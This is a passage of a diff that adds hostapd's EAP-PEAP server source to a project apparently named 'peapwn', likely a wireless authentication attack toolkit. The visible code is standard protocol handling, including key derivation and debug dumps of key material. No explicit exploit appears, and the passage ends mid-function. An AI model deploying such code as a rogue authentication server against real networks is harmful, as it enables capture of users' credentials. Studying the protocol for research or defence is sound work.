a/peapwn/mods/hostap/src/eap_server/eap_server_peap.c b/peapwn/mods/hostap/src/eap_server/eap_server_peap.c new file mode 100644 index 000000000..68253c438 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_peap.c @@ -0,0 +1,1384 @@ +/* + * hostapd / EAP-PEAP (draft-josefsson-pppext-eap-tls-eap-10.txt) + * Copyright (c) 2004-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/sha1.h" +#include "crypto/tls.h" +#include "crypto/random.h" +#include "eap_i.h" +#include "eap_tls_common.h" +#include "eap_common/eap_tlv_common.h" +#include "eap_common/eap_peap_common.h" +#include "tncs.h" + + +/* Maximum supported PEAP version + * 0 = Microsoft's PEAP version 0; draft-kamath-pppext-peapv0-00.txt + * 1 = draft-josefsson-ppext-eap-tls-eap-05.txt + * 2 = draft-josefsson-ppext-eap-tls-eap-10.txt + */ +#define EAP_PEAP_VERSION 1 + + +static void eap_peap_reset(struct eap_sm *sm, void *priv); + + +struct eap_peap_data { + struct eap_ssl_data ssl; + enum { + START, PHASE1, PHASE1_ID2, PHASE2_START, PHASE2_ID, + PHASE2_METHOD, PHASE2_SOH, + PHASE2_TLV, SUCCESS_REQ, FAILURE_REQ, SUCCESS, FAILURE + } state; + + int peap_version; + int recv_version; + const struct eap_method *phase2_method; + void *phase2_priv; + int force_version; + struct wpabuf *pending_phase2_resp; + enum { TLV_REQ_NONE, TLV_REQ_SUCCESS, TLV_REQ_FAILURE } tlv_request; + int crypto_binding_sent; + int crypto_binding_used; + enum { NO_BINDING, OPTIONAL_BINDING, REQUIRE_BINDING } crypto_binding; + u8 binding_nonce[32]; + u8 ipmk[40]; + u8 cmk[20]; + u8 *phase2_key; + size_t phase2_key_len; + struct wpabuf *soh_response; +}; + + +static const char * eap_peap_state_txt(int state) +{ + switch (state) { + case START: + return "START"; + case PHASE1: + return "PHASE1"; + case PHASE1_ID2: + return "PHASE1_ID2"; + case PHASE2_START: + return "PHASE2_START"; + case PHASE2_ID: + return "PHASE2_ID"; + case PHASE2_METHOD: + return "PHASE2_METHOD"; + case PHASE2_SOH: + return "PHASE2_SOH"; + case PHASE2_TLV: + return "PHASE2_TLV"; + case SUCCESS_REQ: + return "SUCCESS_REQ"; + case FAILURE_REQ: + return "FAILURE_REQ"; + case SUCCESS: + return "SUCCESS"; + case FAILURE: + return "FAILURE"; + default: + return "Unknown?!"; + } +} + + +static void eap_peap_state(struct eap_peap_data *data, int state) +{ + wpa_printf(MSG_DEBUG, "EAP-PEAP: %s -> %s", + eap_peap_state_txt(data->state), + eap_peap_state_txt(state)); + data->state = state; +} + + +static struct wpabuf * eap_peapv2_tlv_eap_payload(struct wpabuf *buf) +{ + struct wpabuf *e; + struct eap_tlv_hdr *tlv; + + if (buf == NULL) + return NULL; + + /* Encapsulate EAP packet in EAP-Payload TLV */ + wpa_printf(MSG_DEBUG, "EAP-PEAPv2: Add EAP-Payload TLV"); + e = wpabuf_alloc(sizeof(*tlv) + wpabuf_len(buf)); + if (e == NULL) { + wpa_printf(MSG_DEBUG, "EAP-PEAPv2: Failed to allocate memory " + "for TLV encapsulation"); + wpabuf_free(buf); + return NULL; + } + tlv = wpabuf_put(e, sizeof(*tlv)); + tlv->tlv_type = host_to_be16(EAP_TLV_TYPE_MANDATORY | + EAP_TLV_EAP_PAYLOAD_TLV); + tlv->length = host_to_be16(wpabuf_len(buf)); + wpabuf_put_buf(e, buf); + wpabuf_free(buf); + return e; +} + + +static void eap_peap_req_success(struct eap_sm *sm, + struct eap_peap_data *data) +{ + if (data->state == FAILURE || data->state == FAILURE_REQ) { + eap_peap_state(data, FAILURE); + return; + } + + if (data->peap_version == 0) { + data->tlv_request = TLV_REQ_SUCCESS; + eap_peap_state(data, PHASE2_TLV); + } else { + eap_peap_state(data, SUCCESS_REQ); + } +} + + +static void eap_peap_req_failure(struct eap_sm *sm, + struct eap_peap_data *data) +{ + if (data->state == FAILURE || data->state == FAILURE_REQ || + data->state == SUCCESS_REQ || data->tlv_request != TLV_REQ_NONE) { + eap_peap_state(data, FAILURE); + return; + } + + if (data->peap_version == 0) { + data->tlv_request = TLV_REQ_FAILURE; + eap_peap_state(data, PHASE2_TLV); + } else { + eap_peap_state(data, FAILURE_REQ); + } +} + + +static void * eap_peap_init(struct eap_sm *sm) +{ + struct eap_peap_data *data; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->peap_version = EAP_PEAP_VERSION; + data->force_version = -1; + if (sm->user && sm->user->force_version >= 0) { + data->force_version = sm->user->force_version; + wpa_printf(MSG_DEBUG, "EAP-PEAP: forcing version %d", + data->force_version); + data->peap_version = data->force_version; + } + data->state = START; + data->crypto_binding = OPTIONAL_BINDING; + + if (eap_server_tls_ssl_init(sm, &data->ssl, 0)) { + wpa_printf(MSG_INFO, "EAP-PEAP: Failed to initialize SSL."); + eap_peap_reset(sm, data); + return NULL; + } + + return data; +} + + +static void eap_peap_reset(struct eap_sm *sm, void *priv) +{ + struct eap_peap_data *data = priv; + if (data == NULL) + return; + if (data->phase2_priv && data->phase2_method) + data->phase2_method->reset(sm, data->phase2_priv); + eap_server_tls_ssl_deinit(sm, &data->ssl); + wpabuf_free(data->pending_phase2_resp); + os_free(data->phase2_key); + wpabuf_free(data->soh_response); + os_free(data); +} + + +static struct wpabuf * eap_peap_build_start(struct eap_sm *sm, + struct eap_peap_data *data, u8 id) +{ + struct wpabuf *req; + + req = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_PEAP, 1, + EAP_CODE_REQUEST, id); + if (req == NULL) { + wpa_printf(MSG_ERROR, "EAP-PEAP: Failed to allocate memory for" + " request"); + eap_peap_state(data, FAILURE); + return NULL; + } + + wpabuf_put_u8(req, EAP_TLS_FLAGS_START | data->peap_version); + + eap_peap_state(data, PHASE1); + + return req; +} + + +static struct wpabuf * eap_peap_build_phase2_req(struct eap_sm *sm, + struct eap_peap_data *data, + u8 id) +{ + struct wpabuf *buf, *encr_req, msgbuf; + const u8 *req; + size_t req_len; + + if (data->phase2_method == NULL || data->phase2_priv == NULL) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Phase 2 method not ready"); + return NULL; + } + buf = data->phase2_method->buildReq(sm, data->phase2_priv, id); + if (data->peap_version >= 2 && buf) + buf = eap_peapv2_tlv_eap_payload(buf); + if (buf == NULL) + return NULL; + + req = wpabuf_head(buf); + req_len = wpabuf_len(buf); + wpa_hexdump_key(MSG_DEBUG, "EAP-PEAP: Encrypting Phase 2 data", + req, req_len); + + if (data->peap_version == 0 && + data->phase2_method->method != EAP_TYPE_TLV) { + req += sizeof(struct eap_hdr); + req_len -= sizeof(struct eap_hdr); + } + + wpabuf_set(&msgbuf, req, req_len); + encr_req = eap_server_tls_encrypt(sm, &data->ssl, &msgbuf); + wpabuf_free(buf); + + return encr_req; +} + + +#ifdef EAP_SERVER_TNC +static struct wpabuf * eap_peap_build_phase2_soh(struct eap_sm *sm, + struct eap_peap_data *data, + u8 id) +{ + struct wpabuf *buf1, *buf, *encr_req, msgbuf; + const u8 *req; + size_t req_len; + + buf1 = tncs_build_soh_request(); + if (buf1 == NULL) + return NULL; + + buf = eap_msg_alloc(EAP_VENDOR_MICROSOFT, 0x21, wpabuf_len(buf1), + EAP_CODE_REQUEST, id); + if (buf == NULL) { + wpabuf_free(buf1); + return NULL; + } + wpabuf_put_buf(buf, buf1); + wpabuf_free(buf1); + + req = wpabuf_head(buf); + req_len = wpabuf_len(buf); + + wpa_hexdump_key(MSG_DEBUG, "EAP-PEAP: Encrypting Phase 2 SOH data", + req, req_len); + + req += sizeof(struct eap_hdr); + req_len -= sizeof(struct eap_hdr); + wpabuf_set(&msgbuf, req, req_len); + + encr_req = eap_server_tls_encrypt(sm, &data->ssl, &msgbuf); + wpabuf_free(buf); + + return encr_req; +} +#endif /* EAP_SERVER_TNC */ + + +static void eap_peap_get_isk(struct eap_peap_data *data, + u8 *isk, size_t isk_len) +{ + size_t key_len; + + os_memset(isk, 0, isk_len); + if (data->phase2_key == NULL) + return; + + key_len = data->phase2_key_len; + if (key_len > isk_len) + key_len = isk_len; + os_memcpy(isk, data->phase2_key, key_len); +} + + +static int eap_peap_derive_cmk(struct eap_sm *sm, struct eap_peap_data *data) +{ + u8 *tk; + u8 isk[32], imck[60]; + + /* + * Tunnel key (TK) is the first 60 octets of the key generated by + * phase 1 of PEAP (based on TLS). + */ + tk = eap_server_tls_derive_key(sm, &data->ssl, "client EAP encryption", + EAP_TLS_KEY_LEN); + if (tk == NULL) + return -1; + wpa_hexdump_key(MSG_DEBUG, "EAP-PEAP: TK", tk, 60); + + eap_peap_get_isk(data, isk, sizeof(isk)); + wpa_hexdump_key(MSG_DEBUG, "EAP-PEAP: ISK", isk, sizeof(isk)); + + /* + * IPMK Seed = "Inner Methods Compound Keys" | ISK + * TempKey = First 40 octets of TK + * IPMK|CMK = PRF+(TempKey, IPMK Seed, 60) + * (note: draft-josefsson-pppext-eap-tls-eap-10.txt includes a space + * in the end of the label just before ISK; is that just a typo?) + */ + wpa_hexdump_key(MSG_DEBUG, "EAP-PEAP: TempKey", tk, 40); + if (peap_prfplus(data->peap_version, tk, 40, + "Inner Methods Compound Keys", + isk, sizeof(isk), imck, sizeof(imck)) < 0) { + os_free(tk); + return -1; + } + wpa_hexdump_key(MSG_DEBUG, "EAP-PEAP: IMCK (IPMKj)", + imck, sizeof(imck)); + + os_free(tk); + + /* TODO: fast-connect: IPMK|CMK = TK */ + os_memcpy(data->ipmk, imck, 40); + wpa_hexdump_key(MSG_DEBUG, "EAP-PEAP: IPMK (S-IPMKj)", data->ipmk, 40); + os_memcpy(data->cmk, imck + 40, 20); + wpa_hexdump_key(MSG_DEBUG, "EAP-PEAP: CMK (CMKj)", data->cmk, 20); + + return 0; +} + + +static struct wpabuf * eap_peap_build_phase2_tlv(struct eap_sm *sm, + struct eap_peap_data *data, + u8 id) +{ + struct wpabuf *buf, *encr_req; + size_t mlen; + + mlen = 6; /* Result TLV */ + if (data->crypto_binding != NO_BINDING) + mlen += 60; /* Cryptobinding TLV */ +#ifdef EAP_SERVER_TNC + if (data->soh_response) + mlen += wpabuf_len(data->soh_response); +#endif /* EAP_SERVER_TNC */ + + buf = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_TLV, mlen, + EAP_CODE_REQUEST, id); + if (buf == NULL) + return NULL; + + wpabuf_put_u8(buf, 0x80); /* Mandatory */ + wpabuf_put_u8(buf, EAP_TLV_RESULT_TLV); + /* Length */ + wpabuf_put_be16(buf, 2); + /* Status */ + wpabuf_put_be16(buf, data->tlv_request == TLV_REQ_SUCCESS ? + EAP_TLV_RESULT_SUCCESS : EAP_TLV_RESULT_FAILURE); + + if (data->peap_version == 0 && data->tlv_request == TLV_REQ_SUCCESS && + data->crypto_binding != NO_BINDING) { + u8 *mac; + u8 eap_type = EAP_TYPE_PEAP; + const u8 *addr[2]; + size_t len[2]; + u16 tlv_type; + +#ifdef EAP_SERVER_TNC + if (data->soh_response) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Adding MS-SOH " + "Response TLV"); + wpabuf_put_buf(buf, data->soh_response); + wpabuf_free(data->soh_response); + data->soh_response = NULL; + } +#endif /* EAP_SERVER_TNC */ + + if (eap_peap_derive_cmk(sm, data) < 0 || + random_get_bytes(data->binding_nonce, 32)) { + wpabuf_free(buf); + return NULL; + } + + /* Compound_MAC: HMAC-SHA1-160(cryptobinding TLV | EAP type) */ + addr[0] = wpabuf_put(buf, 0); + len[0] = 60; + addr[1] = &eap_type; + len[1] = 1; + + tlv_type = EAP_TLV_CRYPTO_BINDING_TLV; + if (data->peap_version >= 2) + tlv_type |= EAP_TLV_TYPE_MANDATORY; + wpabuf_put_be16(buf, tlv_type); + wpabuf_put_be16(buf, 56); + + wpabuf_put_u8(buf, 0); /* Reserved */ + wpabuf_put_u8(buf, data->peap_version); /* Version */ + wpabuf_put_u8(buf, data->recv_version); /* RecvVersion */ + wpabuf_put_u8(buf, 0); /* SubType: 0 = Request, 1 = Response */ + wpabuf_put_data(buf, data->binding_nonce, 32); /* Nonce */ + mac = wpabuf_put(buf, 20); /* Compound_MAC */ + wpa_hexdump(MSG_MSGDUMP, "EAP-PEAP: Compound_MAC CMK", + data->cmk, 20); + wpa_hexdump(MSG_MSGDUMP, "EAP-PEAP: Compound_MAC data 1", + addr[0], len[0]); + wpa_hexdump(MSG_MSGDUMP, "EAP-PEAP: Compound_MAC data 2", + addr[1], len[1]); + hmac_sha1_vector(data->cmk, 20, 2, addr, len, mac); + wpa_hexdump(MSG_MSGDUMP, "EAP-PEAP: Compound_MAC", + mac, SHA1_MAC_LEN); + data->crypto_binding_sent = 1; + } + + wpa_hexdump_buf_key(MSG_DEBUG, "EAP-PEAP: Encrypting Phase 2 TLV data", + buf); + + encr_req = eap_server_tls_encrypt(sm, &data->ssl, buf); + wpabuf_free(buf); + + return encr_req; +} + + +static struct wpabuf * eap_peap_build_phase2_term(struct eap_sm *sm, + struct eap_peap_data *data, + u8 id, int success) +{ + struct wpabuf *encr_req, msgbuf; + size_t req_len; + struct eap_hdr *hdr; + + req_len = sizeof(*hdr); + hdr = os_zalloc(req_len); + if (hdr == NULL) + return NULL; + + hdr->code = success ? EAP_CODE_SUCCESS : EAP_CODE_FAILURE; + hdr->identifier = id; + hdr->length = host_to_be16(req_len); + + wpa_hexdump_key(MSG_DEBUG, "EAP-PEAP: Encrypting Phase 2 data", + (u8 *) hdr, req_len); + + wpabuf_set(&msgbuf, hdr, req_len); + encr_req = eap_server_tls_encrypt(sm, &data->ssl, &msgbuf); + os_free(hdr); + + return encr_req; +} + + +static struct wpabuf * eap_peap_buildReq(struct eap_sm *sm, void *priv, u8 id) +{ + struct eap_peap_data *data = priv; + + if (data->ssl.state == FRAG_ACK) { + return eap_server_tls_build_ack(id, EAP_TYPE_PEAP, + data->peap_version); + } + + if (data->ssl.state == WAIT_FRAG_ACK) { + return eap_server_tls_build_msg(&data->ssl, EAP_TYPE_PEAP, + data->peap_version, id); + } + + switch (data->state) { + case START: + return eap_peap_build_start(sm, data, id); + case PHASE1: + case PHASE1_ID2: + if (data->peap_version < 2 && + tls_connection_established(sm->ssl_ctx, data->ssl.conn)) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Phase1 done, " + "starting Phase2"); + eap_peap_state(data, PHASE2_START); + } + break; + case PHASE2_ID: + case PHASE2_METHOD: + wpabuf_free(data->ssl.tls_out); + data->ssl.tls_out_pos = 0; + data->ssl.tls_out = eap_peap_build_phase2_req(sm, data, id); + break; +#ifdef EAP_SERVER_TNC + case PHASE2_SOH: + wpabuf_free(data->ssl.tls_out); + data->ssl.tls_out_pos = 0; + data->ssl.tls_out = eap_peap_build_phase2_soh(sm, data, id); + break; +#endif /* EAP_SERVER_TNC */ + case PHASE2_TLV: + wpabuf_free(data->ssl.tls_out); + data->ssl.tls_out_pos = 0; + data->ssl.tls_out = eap_peap_build_phase2_tlv(sm, data, id); + break; + case SUCCESS_REQ: + wpabuf_free(data->ssl.tls_out); + data->ssl.tls_out_pos = 0; + data->ssl.tls_out = eap_peap_build_phase2_term(sm, data, id, + 1); + break; + case FAILURE_REQ: + wpabuf_free(data->ssl.tls_out); + data->ssl.tls_out_pos = 0; + data->ssl.tls_out = eap_peap_build_phase2_term(sm, data, id, + 0); + break; + default: + wpa_printf(MSG_DEBUG, "EAP-PEAP: %s - unexpected state %d", + __func__, data->state); + return NULL; + } + + return eap_server_tls_build_msg(&data->ssl, EAP_TYPE_PEAP, + data->peap_version, id); +} + + +static Boolean eap_peap_check(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_PEAP, respData, &len); + if (pos == NULL || len < 1) { + wpa_printf(MSG_INFO, "EAP-PEAP: Invalid frame"); + return TRUE; + } + + return FALSE; +} + + +static int eap_peap_phase2_init(struct eap_sm *sm, struct eap_peap_data *data, + EapType eap_type) +{ + if (data->phase2_priv && data->phase2_method) { + data->phase2_method->reset(sm, data->phase2_priv); + data->phase2_method = NULL; + data->phase2_priv = NULL; + } + data->phase2_method = eap_server_get_eap_method(EAP_VENDOR_IETF, + eap_type); + if (!data->phase2_method) + return -1; + + sm->init_phase2 = 1; + data->phase2_priv = data->phase2_method->init(sm); + sm->init_phase2 = 0; + return 0; +} + + +static int eap_tlv_validate_cryptobinding(struct eap_sm *sm, + struct eap_peap_data *data, + const u8 *crypto_tlv, + size_t crypto_tlv_len) +{ + u8 buf[61], mac[SHA1_MAC_LEN]; + const u8 *pos; + + if (crypto_tlv_len != 4 + 56) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Invalid cryptobinding TLV " + "length %d", (int) crypto_tlv_len); + return -1; + } + + pos = crypto_tlv; + pos += 4; /* TLV header */ + if (pos[1] != data->peap_version) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Cryptobinding TLV Version " + "mismatch (was %d; expected %d)", + pos[1], data->peap_version); + return -1; + } + + if (pos[3] != 1) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Unexpected Cryptobinding TLV " + "SubType %d", pos[3]); + return -1; + } + pos += 4; + pos += 32; /* Nonce */ + + /* Compound_MAC: HMAC-SHA1-160(cryptobinding TLV | EAP type) */ + os_memcpy(buf, crypto_tlv, 60); + os_memset(buf + 4 + 4 + 32, 0, 20); /* Compound_MAC */ + buf[60] = EAP_TYPE_PEAP; + hmac_sha1(data->cmk, 20, buf, sizeof(buf), mac); + + if (os_memcmp(mac, pos, SHA1_MAC_LEN) != 0) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Invalid Compound_MAC in " + "cryptobinding TLV"); + wpa_hexdump_key(MSG_DEBUG, "EAP-PEAP: CMK", data->cmk, 20); + wpa_hexdump(MSG_DEBUG, "EAP-PEAP: Cryptobinding seed data", + buf, 61); + return -1; + } + + wpa_printf(MSG_DEBUG, "EAP-PEAP: Valid cryptobinding TLV received"); + + return 0; +} + + +static void eap_peap_process_phase2_tlv(struct eap_sm *sm, + struct eap_peap_data *data, + struct wpabuf *in_data) +{ + const u8 *pos; + size_t left; + const u8 *result_tlv = NULL, *crypto_tlv = NULL; + size_t result_tlv_len = 0, crypto_tlv_len = 0; + int tlv_type, mandatory, tlv_len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_TLV, in_data, &left); + if (pos == NULL) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Invalid EAP-TLV header"); + return; + } + + /* Parse TLVs */ + wpa_hexdump(MSG_DEBUG, "EAP-PEAP: Received TLVs", pos, left); + while (left >= 4) { + mandatory = !!(pos[0] & 0x80); + tlv_type = pos[0] & 0x3f; + tlv_type = (tlv_type << 8) | pos[1]; + tlv_len = ((int) pos[2] << 8) | pos[3]; + pos += 4; + left -= 4; + if ((size_t) tlv_len > left) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: TLV underrun " + "(tlv_len=%d left=%lu)", tlv_len, + (unsigned long) left); + eap_peap_state(data, FAILURE); + return; + } + switch (tlv_type) { + case EAP_TLV_RESULT_TLV: + result_tlv = pos; + result_tlv_len = tlv_len; + break; + case EAP_TLV_CRYPTO_BINDING_TLV: + crypto_tlv = pos; + crypto_tlv_len = tlv_len; + break; + default: + wpa_printf(MSG_DEBUG, "EAP-PEAP: Unsupported TLV Type " + "%d%s", tlv_type, + mandatory ? " (mandatory)" : ""); + if (mandatory) { + eap_peap_state(data, FAILURE); + return; + } + /* Ignore this TLV, but process other TLVs */ + break; + } + + pos += tlv_len; + left -= tlv_len; + } + if (left) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Last TLV too short in " + "Request (left=%lu)", (unsigned long) left); + eap_peap_state(data, FAILURE); + return; + } + + /* Process supported TLVs */ + if (crypto_tlv && data->crypto_binding_sent) { + wpa_hexdump(MSG_DEBUG, "EAP-PEAP: Cryptobinding TLV", + crypto_tlv, crypto_tlv_len); + if (eap_tlv_validate_cryptobinding(sm, data, crypto_tlv - 4, + crypto_tlv_len + 4) < 0) { + eap_peap_state(data, FAILURE); + return; + } + data->crypto_binding_used = 1; + } else if (!crypto_tlv && data->crypto_binding_sent && + data->crypto_binding == REQUIRE_BINDING) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: No cryptobinding TLV"); + eap_peap_state(data, FAILURE); + return; + } + + if (result_tlv) { + int status; + const char *requested; + + wpa_hexdump(MSG_DEBUG, "EAP-PEAP: Result TLV", + result_tlv, result_tlv_len); + if (result_tlv_len < 2) { + wpa_printf(MSG_INFO, "EAP-PEAP: Too short Result TLV " + "(len=%lu)", + (unsigned long) result_tlv_len); + eap_peap_state(data, FAILURE); + return; + } + requested = data->tlv_request == TLV_REQ_SUCCESS ? "Success" : + "Failure"; + status = WPA_GET_BE16(result_tlv); + if (status == EAP_TLV_RESULT_SUCCESS) { + wpa_printf(MSG_INFO, "EAP-PEAP: TLV Result - Success " + "- requested %s", requested); + if (data->tlv_request == TLV_REQ_SUCCESS) + eap_peap_state(data, SUCCESS); + else + eap_peap_state(data, FAILURE); + + } else if (status == EAP_TLV_RESULT_FAILURE) { + wpa_printf(MSG_INFO, "EAP-PEAP: TLV Result - Failure " + "- requested %s", requested); + eap_peap_state(data, FAILURE); + } else { + wpa_printf(MSG_INFO, "EAP-PEAP: Unknown TLV Result " + "Status %d", status); + eap_peap_state(data, FAILURE); + } + } +} + + +#ifdef EAP_SERVER_TNC +static void eap_peap_process_phase2_soh(struct eap_sm *sm, + struct eap_peap_data *data, + struct wpabuf *in_data) +{ + const u8 *pos, *vpos; + size_t left; + const u8 *soh_tlv = NULL; + size_t soh_tlv_len = 0; + int tlv_type, mandatory, tlv_len, vtlv_len; + u8 next_type; + u32 vendor_id; + + pos = eap_hdr_validate(EAP_VENDOR_MICROSOFT, 0x21, in_data, &left); + if (pos == NULL) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Not a valid SoH EAP " + "Extensions Method header - skip TNC"); + goto auth_method; + } + + /* Parse TLVs */ + wpa_hexdump(MSG_DEBUG, "EAP-PEAP: Received TLVs (SoH)", pos, left); + while (left >= 4) { + mandatory = !!(pos[0] & 0x80); + tlv_type = pos[0] & 0x3f; + tlv_type = (tlv_type << 8) | pos[1]; + tlv_len = ((int) pos[2] << 8) | pos[3]; + pos += 4; + left -= 4; + if ((size_t) tlv_len > left) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: TLV underrun " + "(tlv_len=%d left=%lu)", tlv_len, + (unsigned long) left); + eap_peap_state(data, FAILURE); + return; + } + switch (tlv_type) { + case EAP_TLV_VENDOR_SPECIFIC_TLV: + if (tlv_len < 4) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Too short " + "vendor specific TLV (len=%d)", + (int) tlv_len); + eap_peap_state(data, FAILURE); + return; + } + + vendor_id = WPA_GET_BE32(pos); + if (vendor_id != EAP_VENDOR_MICROSOFT) { + if (mandatory) { + eap_peap_state(data, FAILURE); + return; + } + break; + } + + vpos = pos + 4; + mandatory = !!(vpos[0] & 0x80); + tlv_type = vpos[0] & 0x3f; + tlv_type = (tlv_type << 8) | vpos[1]; + vtlv_len = ((int) vpos[2] << 8) | vpos[3]; + vpos += 4; + if (vpos + vtlv_len > pos + left) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Vendor TLV " + "underrun"); + eap_peap_state(data, FAILURE); + return; + } + + if (tlv_type == 1) { + soh_tlv = vpos; + soh_tlv_len = vtlv_len; + break; + } + + wpa_printf(MSG_DEBUG, "EAP-PEAP: Unsupported MS-TLV " + "Type %d%s", tlv_type, + mandatory ? " (mandatory)" : ""); + if (mandatory) { + eap_peap_state(data, FAILURE); + return; + } + /* Ignore this TLV, but process other TLVs */ + break; + default: + wpa_printf(MSG_DEBUG, "EAP-PEAP: Unsupported TLV Type " + "%d%s", tlv_type, + mandatory ? " (mandatory)" : ""); + if (mandatory) { + eap_peap_state(data, FAILURE); + return; + } + /* Ignore this TLV, but process other TLVs */ + break; + } + + pos += tlv_len; + left -= tlv_len; + } + if (left) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Last TLV too short in " + "Request (left=%lu)", (unsigned long) left); + eap_peap_state(data, FAILURE); + return; + } + + /* Process supported TLVs */ + if (soh_tlv) { + int failure = 0; + wpabuf_free(data->soh_response); + data->soh_response = tncs_process_soh(soh_tlv, soh_tlv_len, + &failure); + if (failure) { + eap_peap_state(data, FAILURE); + return; + } + } else { + wpa_printf(MSG_DEBUG, "EAP-PEAP: No SoH TLV received"); + eap_peap_state(data, FAILURE); + return; + } + +auth_method: + eap_peap_state(data, PHASE2_METHOD); + next_type = sm->user->methods[0].method; + sm->user_eap_method_index = 1; + wpa_printf(MSG_DEBUG, "EAP-PEAP: try EAP type %d", next_type); + eap_peap_phase2_init(sm, data, next_type); +} +#endif /* EAP_SERVER_TNC */ + + +static void eap_peap_process_phase2_response(struct eap_sm *sm, + struct eap_peap_data *data, + struct wpabuf *in_data) +{ + u8 next_type = EAP_TYPE_NONE; + const struct eap_hdr *hdr; + const u8 *pos; + size_t left; + + if (data->state == PHASE2_TLV) { + eap_peap_process_phase2_tlv(sm, data, in_data); + return; + } + +#ifdef EAP_SERVER_TNC + if (data->state == PHASE2_SOH) { + eap_peap_process_phase2_soh(sm, data, in_data); + return; + } +#endif /* EAP_SERVER_TNC */ + + if (data->phase2_priv == NULL) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: %s - Phase2 not " + "initialized?!", __func__); + return; + } + + hdr = wpabuf_head(in_data); + pos = (const u8 *) (hdr + 1); + + if (wpabuf_len(in_data) > sizeof(*hdr) && *pos == EAP_TYPE_NAK) { + left = wpabuf_len(in_data) - sizeof(*hdr); + wpa_hexdump(MSG_DEBUG, "EAP-PEAP: Phase2 type Nak'ed; " + "allowed types", pos + 1, left - 1); + eap_sm_process_nak(sm, pos + 1, left - 1); + if (sm->user && sm->user_eap_method_index < EAP_MAX_METHODS && + sm->user->methods[sm->user_eap_method_index].method != + EAP_TYPE_NONE) { + next_type = sm->user->methods[ + sm->user_eap_method_index++].method; + wpa_printf(MSG_DEBUG, "EAP-PEAP: try EAP type %d", + next_type); + } else { + eap_peap_req_failure(sm, data); + next_type = EAP_TYPE_NONE; + } + eap_peap_phase2_init(sm, data, next_type); + return; + } + + if (data->phase2_method->check(sm, data->phase2_priv, in_data)) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Phase2 check() asked to " + "ignore the packet"); + return; + } + + data->phase2_method->process(sm, data->phase2_priv, in_data); + + if (sm->method_pending == METHOD_PENDING_WAIT) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Phase2 method is in " + "pending wait state - save decrypted response"); + wpabuf_free(data->pending_phase2_resp); + data->pending_phase2_resp = wpabuf_dup(in_data); + } + + if (!data->phase2_method->isDone(sm, data->phase2_priv)) + return; + + if (!data->phase2_method->isSuccess(sm, data->phase2_priv)) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Phase2 method failed"); + eap_peap_req_failure(sm, data); + next_type = EAP_TYPE_NONE; + eap_peap_phase2_init(sm, data, next_type); + return; + } + + os_free(data->phase2_key); + if (data->phase2_method->getKey) { + data->phase2_key = data->phase2_method->getKey( + sm, data->phase2_priv, &data->phase2_key_len); + if (data->phase2_key == NULL) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Phase2 getKey " + "failed"); + eap_peap_req_failure(sm, data); + eap_peap_phase2_init(sm, data, EAP_TYPE_NONE); + return; + } + } + + switch (data->state) { + case PHASE1_ID2: + case PHASE2_ID: + case PHASE2_SOH: + if (eap_user_get(sm, sm->identity, sm->identity_len, 1) != 0) { + wpa_hexdump_ascii(MSG_DEBUG, "EAP_PEAP: Phase2 " + "Identity not found in the user " + "database", + sm->identity, sm->identity_len); + eap_peap_req_failure(sm, data); + next_type = EAP_TYPE_NONE; + break; + } + +#ifdef EAP_SERVER_TNC + if (data->state != PHASE2_SOH && sm->tnc && + data->peap_version == 0) { + eap_peap_state(data, PHASE2_SOH); + wpa_printf(MSG_DEBUG, "EAP-PEAP: Try to initialize " + "TNC (NAP SOH)"); + next_type = EAP_TYPE_NONE; + break; + } +#endif /* EAP_SERVER_TNC */ + + eap_peap_state(data, PHASE2_METHOD); + next_type = sm->user->methods[0].method; + sm->user_eap_method_index = 1; + wpa_printf(MSG_DEBUG, "EAP-PEAP: try EAP type %d", next_type); + break; + case PHASE2_METHOD: + eap_peap_req_success(sm, data); + next_type = EAP_TYPE_NONE; + break; + case FAILURE: + break; + default: + wpa_printf(MSG_DEBUG, "EAP-PEAP: %s - unexpected state %d", + __func__, data->state); + break; + } + + eap_peap_phase2_init(sm, data, next_type); +} + + +static void eap_peap_process_phase2(struct eap_sm *sm, + struct eap_peap_data *data, + const struct wpabuf *respData, + struct wpabuf *in_buf) +{ + struct wpabuf *in_decrypted; + const struct eap_hdr *hdr; + size_t len; + + wpa_printf(MSG_DEBUG, "EAP-PEAP: received %lu bytes encrypted data for" + " Phase 2", (unsigned long) wpabuf_len(in_buf)); + + if (data->pending_phase2_resp) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Pending Phase 2 response - " + "skip decryption and use old data"); + eap_peap_process_phase2_response(sm, data, + data->pending_phase2_resp); + wpabuf_free(data->pending_phase2_resp); + data->pending_phase2_resp = NULL; + return; + } + + in_decrypted = tls_connection_decrypt(sm->ssl_ctx, data->ssl.conn, + in_buf); + if (in_decrypted == NULL) { + wpa_printf(MSG_INFO, "EAP-PEAP: Failed to decrypt Phase 2 " + "data"); + eap_peap_state(data, FAILURE); + return; + } + + 